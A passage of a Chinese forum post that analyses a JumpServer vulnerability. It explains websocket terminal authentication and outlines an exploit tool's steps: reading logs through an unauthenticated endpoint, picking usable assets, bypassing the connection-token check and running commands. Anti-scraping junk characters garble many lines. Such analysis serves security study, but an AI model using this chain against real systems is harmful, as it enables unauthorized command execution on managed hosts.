1.浏览器将主机信息传给后台, 并通过HTTP请求与后台协商升级协议,协议升级完成后, 得到一个和浏览器的web Socket连接通道
, ]  K1 g) [0 h4 P( S6 q2.后台拿到主机信息, 创建一个SSH 客户端, 与远程主机的SSH 服务端协商加密, 互相认证, 然后建立一个SSH Channel" I, @* v% ^" c& h
3.后台和远程主机有了通讯的信道,然后后台携带终端信息通过SSH Channel请求远程主机创建一对 pty, 并请求启动当前用户的默认 shell& y, d! V" E3 M% X
4.后台通过 Socket连接通道拿到用户输入, 再通过SSH Channel将输入传给pty,pty将这些数据交给远程主机处理后,按照前面指定的终端标准输出到SSH Channel中, 同时键盘输入也会通过SSH Channel发送给远程服务端。
' V% X. Z* v' O. {- k& W5.后台从SSH Channel中拿到按照终端大小的标准输出,通过Socket通信将输出返回给浏览器,由此实现了Web Terminal
+ `" J. Q; ?) }/ g6 F) @
; I( G, X( N7 T; z5 V图片: g* U1 {9 \3 J3 x% q* F; S

! o2 T) N6 X6 mJumpServer中websocket通信基于https://github.com/gorilla/websocket项目实现,Web Terminal功能实现思路与上文描述基本一致,这里简述浏览器与后端进行websocket通信流程。- q/ r$ e' X" I# T

' o8 f% N4 w! c" j: l0 A图片  @( U- ]0 E  b7 A3 h3 k8 i/ F- h
& n# p) N) @! E7 \5 T  h8 ]  Q
携带多个参数对 /koko/ws/terminal/ 接口发起Get请求,初次握手,提出Upgrade为Websocket协议
, \8 O; f1 Z7 o; ^; \- |
! }  N. ^+ ^$ XGET ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73 HTTP/1.14 @" _# N, T' Y3 A1 K
Host: 192.168.18.182:8080
) H  c" [& w2 l8 OConnection: Upgrade/ M* Y/ E$ }% e4 O* V% H
Pragma: no-cache
; @0 l+ E/ Q9 ]7 S" H% JCache-Control: no-cache! T# Z+ m% B' n: H# F7 u
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36) J2 |" [. ]  i2 z3 b
Upgrade: websocket
1 V5 n. P4 l( n; ?) x: j2 b7 GOrigin: http://192.168.18.182:80802 \# d, d1 Z% y3 g$ p, R+ L4 l
Sec-WebSocket-Version: 13& ^8 d6 A7 K; ]7 o3 ~
Accept-Encoding: gzip, deflate" K* l) u1 Z/ V8 f
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
' ^# w4 n( z$ x7 h1 OCookie: csrftoken=0ZhWpozQIlm3fpJZRKP0vWcEm32JOlSSbtTBYmqlnHgrSwlMgXdJW0hnx4qJrT5s; sessionid=lbfnuoizl0mnixrwyo036ze65z7vfip0; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D; X-JMS-ORG=DEFAULT; jms_current_role=146* r9 x6 t5 W! t+ V, n
Sec-WebSocket-Key: Cuf/c4n9TH20PU4HpCP4qQ==% R0 E: L! h/ A
Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits, O* j5 N( Y: B: j
Sec-WebSocket-Protocol: JMS-KOKO
; m' c, d: h" q6 p/ F3 [服务端识别有效字段,回应握手请求,同意upgrade为websocket协议,允许后续进行socket通信。4 Y7 [7 _( k9 ~, ^

% H/ \* V7 t' O$ ?7 J4 {HTTP/1.1 101 Switching Protocols+ w& _) a+ Z8 Q( {$ W
Server: nginx2 q- g% t. Q/ P& m2 e1 x
Date: Mon, 01 Feb 2021 17:29:47 GMT
& Y8 |" {4 ^6 W! L# V2 DConnection: upgrade
& l* v& e) V, x6 TUpgrade: websocket
7 F8 S( r& B1 C; D7 l: XSec-WebSocket-Accept: zdg0gD/H5Ev4u9hn5oIxlSVdvDg=
; `6 n1 u1 [8 Z( tSec-WebSocket-Protocol: JMS-KOKO
: b( |, ?1 D: Q* {# V5 X注意到使用web终端功能时,系统主要发起两个请求,分别是" S# [0 j; ?8 a& d, T
* P' W* U* z% m- ]: @
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
  o% g6 F4 a5 H% x2 `http://192.168.18.182:8080/koko/ ... 8-a983-1de24e7c3d73) s5 t0 t, a' K
图片( p, P% C+ l- O/ K% N- t+ V) i! M

( F9 k7 m- b  b8 [7 o实际进行sokcet通信的是/koko/ws/terminal/接口,/koko/terminal/接口是协调处理sokcet通信输入输出的数据,将结果与前端融合并展示给用户,提供一个可视终端的效果。
' b7 G  l! L! F7 u/ a6 Y2 }9 G
4 r  _3 l! B6 w8 j  x$ A图片
$ Q; _' D+ M% a" h/ f
6 i6 {% W9 T5 y- I+ jWebsocket认证
3 a  O( F$ _7 `5 P即使用户经过了系统的认证,当与WebSocket接口进行socket连接时,同样需要再次认证。
# b- x7 F/ v, m, I+ f4 h( w7 V
7 U# c% v% A4 k* `( f, M# s6 b% a一般Websocket的身份认证都是发生在握手阶段,客户端向验证请求中的内容,只允许经过身份验证的用户建立成功的Websocket连接。
5 n, b/ t( X+ e) F5 j7 a* g2 K* U, `5 [- i1 ?* r4 t$ M5 N1 T
可以通过基于cookie的传统方式,或基于Token的方式进行认证。
- ~3 p' q, e$ e1 E6 g& H
+ A$ F" m* ~3 d3 {  R0 m) R传统的基于cookie的方式
7 A( v- ^" c) I' c采用这种方式,应用本身的认证和提供WebSocket的服务,可以是同一套session cookie的管理机制,也可以WebSocket服务接口自己来维护基于cookie的认证。
" e6 s8 u8 W* p1 h
/ j7 m& d1 {7 l0 ?Jumpserver系统Web终端的功能,调用的/koko/ws/terminal/接口就是采用这种方式。
4 ?, _/ Q9 R7 Z& ~4 j9 p/ v
  o% X) C9 H) ]( V* r2 bws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
6 ^; Q5 i. M3 v$ K0 E图片% s7 ?) v) z7 j0 s+ q8 O
* k2 [% f) F# J' H/ R
请求URL中携带的参数值 target_id、type、system_user_id 基本长期复用,接口主要依靠建立会话传送的Cookie来识别身份,这里的session cookie的管理机制与系统是共享的。* i+ I! W8 F) @9 u# _

( r- {: i1 c/ o: S基于Token的方式+ c7 h( D: Q8 K  J  t( |# X. N) _
当客户端要与接口建立连接时,向http服务获取token,客户端作为初始握手的一部分携带有效token打开websocket连接,服务端验证token有效性合法性,认证通过则同意建立websocket会话连接。/ p2 N- x9 O* L* Y! {! j1 k

- z! H7 i" @0 R- L漏洞执行命令利用的/koko/ws/token/接口采用的就是基于token方式进行认证2 p3 M. N- y" u: u) q) n

: ~' Z, U6 [  ]% @' X( X8 X- gws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d) u3 j' K# I' q& i( p3 o) I
接口取target_id参数值,识别参数值有效性及对应用户身份,认证通过则同意建立websocket连接。图片
! |! E) X! E2 r7 F' K% ]" Z
, Y! Y  H0 L' K$ `1 O认证方式对比
* c1 z, ^8 b9 }+ ]; V) v8 }! S传统基于cookie的方式,若websocket接口与系统协调同一种共享的认证方式,造成websocket服务与应用服务的耦合性大,依赖性强。若websocket服务自己维护基于cookie的认证,它只是一个解决通信连接的服务,为此付出成本不小。综上,还是采用基于token的认证方式更加高效。
* A: n2 n2 i2 l2 h% j$ `7 @# S" b' e2 o7 r0 ~; C& W8 ?: a+ Y
采用基于token的认证方式则需要考虑提供token服务的API安全性,如本文分析的漏洞,提供token的/connection-token接口存在认证绕过问题,攻击者通过绕过/connection-token接口的身份验证,获取token,在有效时间内可与目标建立websocket连接。+ O# f/ p9 L2 N1 g3 u; O
- w/ F& k0 i4 y+ B, k" q' q2 y
0x05利用工具0 P+ n+ V3 n1 o) ^& H0 l
编写思路( y( P6 I2 }5 ^1 |
1.读取日志2 r' M! D+ Z' I8 M! L$ b4 `: W9 j
% l# S0 ?0 m6 i9 I8 S- G3 X6 U, {& B
根据上文漏洞利用的流程,需要先通过未授权的/ws/ops/tasks/log/接口读取日志文件/opt/jumpserver/logs/gunicorn.log ,其中包含大量的接口请求记录,我们需要提取/api/v1/perms/asset-permissions/user/validate/ 接口信息。8 |! l; I9 @* z3 V8 b& U8 [. n/ ]
  b  t! w) s/ `% x3 x2 b
图片. y+ }0 f4 u/ z0 m
* T8 ?! e  W) R* j. h7 y0 l
2.筛选可用资产$ Q" Y/ z5 R( U) w' a

$ Z8 c4 |2 L4 a4 O日志文件中提取出的数据为历史连接记录,但不一定可以被利用,需要对其进行连接测试,筛选出可被利用的资产。
  |- C: p' x( m9 }7 k. M
% P. h/ C  [, k( a$ [3 U图片
9 U7 U, }- c7 @; @. ?* j( Y3 O% B3 p; |9 f, W8 `
3.执行命令
1 N& A$ S7 w" _* l; z. Z0 ^$ n9 Q4 y  S" o7 e
在可用资产列表中选择目标进行攻击,执行指定命令。
# b; |# T  p7 {3 s8 X! Y9 {, Z# Z1 y0 z4 A
图片2 v. J/ O3 L: n

+ {8 r  H8 h- P5 A. ~更多细节请移步:https://github.com/Veraxy00/Jumpserver-EXP
5 D4 |( D2 S/ ~  W: ^; W$ t& C- b$ P( ]0 Y% @& w4 i" k
总结
  v9 h1 h9 t4 J1 A- T. O6 W' c1.通过未授权的 /ws/ops/tasks/log/ 接口读取日志文件,我们仅筛选了部分接口信息,日志中包含大量数据,还有更多利用价值。2 H  ^! {; h. @/ K' F5 O
2.官方给出的漏洞影响版本不准确,部分版本由于接口认证方式问题不可被利用。
1 s* Y6 p: r& o& n2 n3.根据实际场景不同,漏洞利用工具还须继续改进,欢迎提出改进建议。
( p, ~4 j; v5 {
5 M, B5 ^0 M7 v+ e) T/ _) C
您需要登录后才可以回帖 登录 | 开始注册

本版积分规则

关闭

站长推荐上一条 /4 下一条

北京云银创陇科技有限公司以云计算运维,代码开发

QQ|返回首页|Archiver|小黑屋|易陆发现技术论坛 ( 蜀ICP备2026014127号-1 )点击这里给我发消息

GMT+8, 2026-4-8 21:39 , Processed in 0.081995 second(s), 22 queries .

Powered by Discuz! X3.4 Licensed

© 2012-2025 Discuz! Team.

快速回复 返回顶部 返回列表